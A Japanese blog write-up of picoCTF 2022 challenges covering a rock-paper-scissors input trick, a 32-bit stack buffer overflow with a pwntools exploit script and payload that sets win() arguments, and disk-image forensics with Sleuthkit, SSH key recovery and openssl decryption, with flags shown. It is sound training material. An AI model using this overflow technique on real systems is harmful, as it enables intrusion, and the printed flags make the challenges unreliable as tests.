テクノロジー
picoCTF 2022のWriteup(後編)
前編
本記事はpicoCTF 2022のWriteup(前編)の続きです。
RPS
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
Connect to the program with netcat:
$ nc saturn.picoctf.net 53865
The program's source code with the flag redacted can be downloaded here.
じゃんけんで5回勝てばいい問題です。
以下は勝ち負けに影響する部分を抜粋したものです。
//game-redacted.c
...
// 手の管理。handsは出力用。losesは勝ち負け判定で利用
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
...
// コンピュータの手を決定
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
// 勝ち負けの判定
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
...
strstr(player_turn, loses[computer_turn])で勝ち負けを判定しているのがわかります(
strstrは文字列を検索する関数)。
ユーザの入力文字に対して検証を行っていないので、以下のパターンで確実に勝てます。
maz-picoctf@webshell:~/bof1$ nc saturn.picoctf.net 53865
Welcome challenger to the game of Rock, Paper, Scissors
For anyone that beats me 5 times in a row, I will offer up a flag I found
Are you ready?
Type '1' to play a game
Type '2' to exit the program
1
1
Please make your selection (rock/paper/scissors):
rock/paper/scissors ← 確実に勝てる魔法の手
rock/paper/scissors
You played: rock/paper/scissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
...
Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: rock
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_B69E01B8}
flag : picoCTF{50M3_3X7R3M3_1UCK_B69E01B8}
buffer overflow 2
Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?
You can view source here. And connect with it using nc saturn.picoctf.net 61527
buffer overflow1と同じ戦略で解いていきます。
違う箇所は下記の通り、win関数に引数が設定されていて且つそれの検証を行っている点です。
//vuln.c
...
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
なるほど。
maz-picoctf@webshell:~/bof2$ gdb vuln
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ pattc 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ run
Starting program: /home/maz-picoctf/bof2/vuln
warning: Error disabling address space randomization: Operation not permitted
Please enter your string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x12d
EBX: 0x41413741 ('A7AA')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7f74000 --> 0x1ead6c
EDI: 0xf7f74000 --> 0x1ead6c
EBP: 0x6941414d ('MAAi')
ESP: 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffb8bec4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffb8bec8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0012| 0xffb8becc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0016| 0xffb8bed0 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffb8bed4 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffb8bed8 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffb8bedc ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ patto 0x41384141
1094205761 found at offset: 112
gdb-peda$
112桁でオーバーフロー。
以上の情報を使用してexploitを作成します(buffer overflow1のコードを流用)。win関数の引数検証をバイパスする部分の追加を忘れないようにしましょう。
# exploit.py
...
def exploit(con, elf, libc, rop):
win_symbols = elf.symbols["win"]
log.info("win symbol: {}".format(hex(win_symbols)))
offset = 112
args_1 = 0xCAFEF00D
args_2 = 0xF00DF00D
payload = b"A" * offset
payload += pack(win_symbols)
payload += b"BBBB"
payload += pack(args_1)
payload += pack(args_2)
log.info("payload: {}".format(payload))
con.sendline(payload)
maz-picoctf@webshell:~/bof2$ python exploit.py REMOTE
[+] Opening connection to saturn.picoctf.net on port 61527: Done
[*] '/home/maz-picoctf/bof2/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Loaded 10 cached gadgets for './vuln'
[*] win symbol: 0x8049296
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0'
[*] Switching to interactive mode
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xfe\xcaAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04BBBB
$ picoCTF{argum3nt5_4_d4yZ_4b24a3aa}[*] Got EOF while reading in interactive
flag: picoCTF{argum3nt5_4_d4yZ_4b24a3aa}
Forensics
Enhance!
svgファイルからフラグを探す問題です。tspanタグに有りました。
maz-picoctf@webshell:~/enhance$ strings drawing.flag.svg
flag: picoCTF{3nh4nc3d_24374675}
Sleuthkit Intro
Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download disk image
* Access checker program: nc saturn.picoctf.net 52279
問題通りmmls コマンドを使用して、配布されたイメージファイルのpartitionサイズを入力すればフラグがゲットできます。
maz-picoctf@webshell:/tmp/sleuthkit_intro$ mmls disk.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000204799 0000202752 Linux (0x83)
maz-picoctf@webshell:/tmp/sleuthkit_intro$
maz-picoctf@webshell:/tmp/sleuthkit_intro$ nc saturn.picoctf.net 52279What is the size of the Linux partition in the given disk image?
Length in sectors: 202752
202752
Great work!
picoCTF{mm15_f7w!}
flag: picoCTF{mm15_f7w!}
Sleuthkit Apprentice
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download compressed disk image
ディスクイメージにあるフラグをゲットします。
maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000360447 0000153600 Linux Swap / Solaris x86 (0x82)
004: 000:002 0000360448 0000614399 0000253952 Linux (0x83)
maz-picoctf@webshell:/tmp/sleuthkit_apprentice$
maz-picoctf@webshell:/tmp/sleuthkit_apprentice$
maz-picoctf@webshell:/tmp/apprentice$ fls -r -o 360448 disk.flag.img | grep flag
++ r/r * 2082(realloc): flag.txt
++ r/r 2371: flag.uni.txt
maz-picoctf@webshell:/tmp/apprentice$
maz-picoctf@webshell:/tmp/apprentice$ icat -o 360448 disk.flag.img 2371 > flag.uni.txt
maz-picoctf@webshell:/tmp/apprentice$ ls
disk.flag.img flag.uni.txt
maz-picoctf@webshell:/tmp/apprentice$ cat flag.uni.txt
picoCTF{by73_5urf3r_adac6cb4}
maz-picoctf@webshell:/tmp/apprentice$
flag: picoCTF{by73_5urf3r_adac6cb4}
Operation Oni
Download this disk image, find the key and log into the remote machine.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download disk image
* Remote machine: ssh -i key_file -p 51508 ctf-player@saturn.picoctf.net
ディスクイメージにあるSSHキーを取得して、リモートサーバへSSH接続してフラグをゲットする問題です。
maz-picoctf@webshell:/tmp/oni$ mmls dis
Error stat(ing) image file (raw_open: image "dis" - No such file or directory)
maz-picoctf@webshell:/tmp/oni$ mmls disk.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000471039 0000264192 Linux (0x83)
maz-picoctf@webshell:/tmp/oni$
maz-picoctf@webshell:/tmp/oni$ fls -r -o 206848 disk.img | grep id_
++++++ r/r 1335: raid_class.ko
++ r/r 2345: id_ed25519
++ r/r 2346: id_ed25519.pub
maz-picoctf@webshell:/tmp/oni$
maz-picoctf@webshell:/tmp/oni$ chmod 600 id_ed25519
maz-picoctf@webshell:/tmp/oni$
maz-picoctf@webshell:/tmp/oni$ ssh -i id_ed25519 -p 51508 ctf-player@saturn.picoctf.net
load pubkey "id_ed25519": invalid format
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1017-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
ctf-player@challenge:~$
ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$
ctf-player@challenge:~$ cat flag.txt
picoCTF{k3y_5l3u7h_d6e19567}ctf-player@challenge:~$
ctf-player@challenge:~$
flag: picoCTF{k3y_5l3u7h_d6e19567}
Operation Orchid
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download compressed disk image
ディスクイメージ内にあるフラグをゲットする問題です。これまでと一緒ですね。サクッと行きましょう。
maz-picoctf@webshell:/tmp/orchid$ mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000411647 0000204800 Linux Swap / Solaris x86 (0x82)
004: 000:002 0000411648 0000819199 0000407552 Linux (0x83)
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep flag
+ r/r * 1876(realloc): flag.txt
+ r/r 1782: flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$
???
暗号化されているかもです。
maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1782 > flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$ ls
disk.flag.img flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$ cat flag.txt.enc
Salted__O金Oez2>@SSgk(r]}}fzȤ7 ؎$'%maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$
案の定されていました。平文に復号する方法を考えないといけません。
maz-picoctf@webshell:/tmp/orchid$ file flag.txt.enc
flag.txt.enc: openssl enc'd data with salted password
maz-picoctf@webshell:/tmp/orchid$
どうやらopensslを使用して暗号化されたようです(opensslコマンドを使用して暗号化)。もしかしたらその際のコマンドがhistoryに残っているかもしれません。
maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep history+ r/r 1875: .ash_history
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1875 > .ash_history
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$ cat .ash_history
touch flag.txt
nano flag.txt
apk get nano
apk --help
apk add nano
nano flag.txt
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt
maz-picoctf@webshell:/tmp/orchid$
有りました。-dオプションで復号することができるのでやります。
maz-picoctf@webshell:/tmp/orchid$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
140042247042368:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610:
maz-picoctf@webshell:/tmp/orchid$
maz-picoctf@webshell:/tmp/orchid$ ls
disk.flag.img flag.txt flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$ cat flag.txt
picoCTF{h4un71ng_p457_5113beab}maz-picoctf@webshell:/tmp/orchid$
flag: picoCTF{h4un71ng_p457_5113beab}
終わりに
問題が多い!!
完走した感想ですが、中高生向けCTFということでコマンドを実行できれば解ける系問題が多く「CTFできてる!!!!」という気持ちになれました。また設問ごとにヒントがあったりと非常に丁寧です。問題数も多く、ステップバイステップで”””高められていく”””体験を得られるかと思います。
スコアボードを見ると全問完答したチームが2チームいて恐ろしかったです…(しかも US Middle/High School)。正直取り組めた時間が少なかったためもう少しスコアは伸ばせそうな気はしますが、そこに慢心せずにスキルを伸ばしていきたいと思います。
次のCTFで会おう!!!
サムネ画像ロゴは『pico CTF』より引用
※本記事は2022年06月時点の内容です。